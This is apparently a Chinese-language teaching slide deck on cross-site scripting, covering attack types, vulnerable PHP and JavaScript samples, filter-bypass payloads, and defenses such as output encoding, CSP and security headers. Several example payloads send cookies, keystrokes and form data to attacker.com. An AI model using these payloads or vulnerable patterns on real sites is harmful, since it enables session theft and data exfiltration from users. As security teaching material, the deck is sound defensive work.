XSS 跨站腳本攻擊

網絡安全教學

了解 XSS 漏洞原理、攻擊方式及防護策略

適用於:資訊安全課程、開發人員培訓

⚠️ 重要聲明: 本教材僅供教育用途,請勿用於非法活動

學習目標

完成本課程後,學生將能夠:

💡 課程重點: 理論與實踐並重,培養實際的安全防護能力

什麼是 XSS?

Cross-Site Scripting (跨站腳本攻擊)

定義: XSS 是一種注入型攻擊,攻擊者將惡意腳本代碼注入到網站中,當其他用戶瀏覽該網站時,惡意腳本會在用戶瀏覽器中執行。

攻擊流程:

👤 攻擊者 → 📝 注入惡意腳本 → 🌐 網站存儲/反射 → 👥 受害者訪問 → 💻 瀏覽器執行腳本 → 📊 數據竊取

為什麼叫 "跨站"?

XSS 攻擊的危害

攻擊類型 具體危害
🔑 身份竊取 竊取 Cookie、Session Token、認證憑證
🎭 會話劫持 冒充用戶身份,執行未授權操作
📱 數據竊取 獲取個人信息、財務數據、機密文件
🌐 網站篡改 修改網頁內容、插入虛假信息
🔄 惡意重定向 將用戶導向釣魚網站或惡意軟件
🦠 蠕蟲傳播 在社交網站上自動傳播惡意代碼
🚨 真實案例影響:
  • 2005年:MySpace 蠕蟲感染超過100萬用戶
  • 2008年:Twitter XSS 導致大量用戶受影響
  • 2014年:eBay XSS 漏洞影響數百萬用戶

XSS 攻擊類型

類型 英文名稱 特徵
🔄 反射型 Reflected XSS 非持久性,惡意腳本包含在請求中,立即反射回瀏覽器
💾 存儲型 Stored XSS 持久性,惡意腳本存儲在服務器,影響所有訪問用戶
🌐 DOM型 DOM-based XSS 在客戶端執行,通過修改 DOM 環境實現攻擊

危險程度排序:

💾 存儲型 > 🌐 DOM型 > 🔄 反射型
💡 重要提醒: 三種類型的攻擊原理不同,需要不同的防護策略

反射型 XSS (Reflected XSS)

攻擊流程:

1️⃣ 攻擊者構造惡意URL → 2️⃣ 誘導用戶點擊 → 3️⃣ 服務器反射腳本 → 4️⃣ 瀏覽器執行

漏洞代碼示例:

<?php $search = $_GET['q']; echo "您搜索的內容:" . $search; ?>

攻擊URL:

http://example.com/search.php?q=<script>alert(document.cookie)</script>

特點:

存儲型 XSS (Stored XSS)

攻擊流程:

1️⃣ 攻擊者提交惡意腳本 → 2️⃣ 服務器存儲腳本 → 3️⃣ 用戶訪問頁面 → 4️⃣ 瀏覽器執行腳本

漏洞代碼示例:

// 評論提交 function saveComment(comment) { // 直接存儲用戶輸入,未經過濾 database.save("INSERT INTO comments (content) VALUES ('" + comment + "')"); } // 評論顯示 function displayComments() { var comments = database.query("SELECT content FROM comments"); document.getElementById('comments').innerHTML = comments; }

攻擊載荷:

<script> fetch('http://attacker.com/steal.php?cookie=' + document.cookie); </script>

特點:

DOM型 XSS (DOM-based XSS)

攻擊原理:

完全在客戶端執行,不涉及服務器端代碼,通過修改頁面的 DOM 環境實現攻擊

漏洞代碼示例:

// 從URL獲取參數並直接寫入DOM var hash = location.hash.substring(1); document.write(hash); // 或者 var userInput = getUrlParameter('input'); document.getElementById('output').innerHTML = userInput;

攻擊URL:

http://example.com/page.html#<img src=x onerror=alert('XSS')>

常見觸發點:

⚠️ 注意: DOM型XSS可能不會出現在服務器日誌中,更難被檢測

常見 XSS Payload - 基礎測試

🔬 基本測試載荷:

<!-- 最基本的測試 --> <script>alert('XSS')</script> <!-- 繞過基礎過濾 --> <script>alert(String.fromCharCode(88,83,83))</script> <script>alert(/XSS/)</script> <!-- 無需引號的測試 --> <script>alert(document.domain)</script>

🖼️ HTML 標籤載荷:

<!-- img 標籤 --> <img src=x onerror=alert('XSS')> <img src="javascript:alert('XSS')"> <!-- iframe 標籤 --> <iframe src="javascript:alert('XSS')"></iframe> <!-- svg 標籤 --> <svg onload=alert('XSS')> <!-- body 標籤 --> <body onload=alert('XSS')>
⚠️ 提醒: 這些載荷僅供學習和測試使用,請勿用於非法攻擊

常見 XSS Payload - 繞過技術

🔄 繞過過濾的載荷:

<!-- 大小寫變換 --> <ScRiPt>alert('XSS')</ScRiPt> <!-- 編碼繞過 --> <script>alert('&#88;&#83;&#83;')</script> <script>alert('\x58\x53\x53')</script> <!-- 註釋繞過 --> <script>/**/alert('XSS')</script> <!-- 空格和換行 --> <script >alert('XSS')</script>

⚡ 事件處理器載荷:

<!-- 鼠標事件 --> <div onmouseover="alert('XSS')">Hover me</div> <div onclick="alert('XSS')">Click me</div> <!-- 鍵盤事件 --> <input onkeydown="alert('XSS')" autofocus> <!-- 表單事件 --> <form><input onfocus=alert('XSS') autofocus> <select onfocus=alert('XSS') autofocus>

⚠️ 危險的 XSS Payload

🚨 警告: 以下載荷僅供教育用途,展示XSS的實際危害

🍪 Cookie 竊取:

<script> document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>

⌨️ 鍵盤記錄:

<script> document.addEventListener('keypress', function(e) { fetch('http://attacker.com/log.php?key=' + e.key); }); </script>

📄 表單劫持:

<script> // 修改表單提交地址 document.forms[0].action = 'http://attacker.com/steal.php'; // 或自動創建並提交表單 var form = document.createElement('form'); form.method = 'POST'; form.action = 'http://attacker.com/steal.php'; var input = document.createElement('input'); input.name = 'data'; input.value = document.cookie; form.appendChild(input); document.body.appendChild(form); form.submit(); </script>

🛡️ XSS 防護策略

多層防護原則:

1️⃣ 輸入驗證
白名單過濾、長度限制、格式檢查
2️⃣ 輸出編碼
HTML編碼、JavaScript編碼、URL編碼
3️⃣ 內容安全政策 (CSP)
限制腳本來源、內聯腳本控制
4️⃣ HTTP 安全標頭
X-XSS-Protection、X-Content-Type-Options
💡 核心原則: 永不信任用戶輸入,始終進行適當的編碼和驗證

1️⃣ 輸入驗證

🎯 白名單驗證 (推薦):

// PHP 示例 function validateInput($input) { // 只允許字母、數字和空格 if (!preg_match('/^[a-zA-Z0-9\s]+$/', $input)) { return false; } // 長度限制 if (strlen($input) > 100) { return false; } return true; }
// JavaScript 示例 function validateInput(input) { // 移除危險字符 const dangerous = /<script|javascript:|on\w+=/i; if (dangerous.test(input)) { return false; } // 長度檢查 if (input.length > 1000) { return false; } return true; }
⚠️ 注意: 黑名單過濾容易被繞過,白名單驗證更安全

2️⃣ 輸出編碼

🔤 HTML 編碼:

// PHP echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); // JavaScript function htmlEncode(str) { return str.replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;'); } // 使用 textContent 而不是 innerHTML element.textContent = userInput; // 安全 element.innerHTML = userInput; // 危險

🔧 JavaScript 編碼:

// PHP JSON 編碼 echo json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP); // JavaScript function jsEncode(str) { return JSON.stringify(str).slice(1, -1); }
💡 重要: 根據輸出上下文選擇正確的編碼方式

3️⃣ 內容安全政策 (CSP)

🛡️ 基本 CSP 設置:

<!-- 基本 CSP --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';"> <!-- 嚴格的 CSP --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;">

🔐 使用 nonce:

<!-- 只有帶有正確 nonce 的腳本才能執行 --> <script nonce="random123"> console.log('This script can run'); </script>

📊 CSP 指令說明:

4️⃣ HTTP 安全標頭

# X-XSS-Protection (舊瀏覽器) X-XSS-Protection: 1; mode=block # X-Content-Type-Options X-Content-Type-Options: nosniff # X-Frame-Options X-Frame-Options: DENY # Strict-Transport-Security Strict-Transport-Security: max-age=31536000; includeSubDomains # Referrer-Policy Referrer-Policy: strict-origin-when-cross-origin

🔍 標頭說明:

標頭 功能
X-XSS-Protection 啟用瀏覽器內建的XSS過濾器
X-Content-Type-Options 防止MIME類型嗅探攻擊
X-Frame-Options 防止點擊劫持攻擊
HSTS 強制使用HTTPS連接

🔧 框架層面的防護

⚛️ React 自動轉義:

function App() { const userInput = '<script>alert("XSS")</script>'; return <div>{userInput}</div>; // 自動轉義,安全 } // 危險用法 function UnsafeApp() { const userInput = '<script>alert("XSS")</script>'; return <div dangerouslySetInnerHTML={{__html: userInput}} />; // 危險 }

🖖 Vue.js 自動轉義:

<template> <div>{{ userInput }}</div> <!-- 自動轉義,安全 --> <div v-html="userInput"></div> <!-- 不轉義,危險 --> </template>

🐍 Django/Flask:

# Django 自動轉義 from django.utils.html import escape safe_output = escape(user_input) # Flask 使用 Jinja2 自動轉義 render_template_string('{{ user_input }}', user_input=user_input)
💡 提醒: 現代框架通常提供自動XSS防護,但仍需小心使用不安全的API

🧪 XSS 安全測試

🔍 手動測試方法:

  1. 在所有輸入欄位測試基本XSS載荷
  2. 測試URL參數、表單欄位、文件上傳
  3. 檢查錯誤訊息是否會反射用戶輸入
  4. 測試不同的編碼和繞過技術
  5. 驗證CSP政策是否有效

🤖 自動化測試工具:

工具 特點
OWASP ZAP 免費的Web應用安全掃描器
Burp Suite 專業的Web安全測試平台
XSSHunter 盲目XSS檢測服務
w3af Web應用攻擊和審計框架
⚠️ 重要: 只能在授權的系統上進行安全測試

✅ XSS 防護最佳實踐

🎯 開發階段:

🔒 部署階段:

🔑 記住: 安全是一個持續的過程,需要在整個開發生命週期中持續關注

📚 課程總結

🎓 今天我們學習了:

🔍 理論知識

  • XSS攻擊原理
  • 三種攻擊類型
  • 漏洞成因分析
  • 攻擊危害評估

🛡️ 防護技術

  • 輸入驗證方法
  • 輸出編碼技術
  • CSP政策設計
  • 安全標頭配置

💡 關鍵要點:

  • 永不信任用戶輸入
  • 實施多層防護策略
  • 使用現代安全框架
  • 持續學習和更新知識

🎯 下一步:實踐與應用

將所學知識應用到實際項目中,持續提升安全意識

1 / 0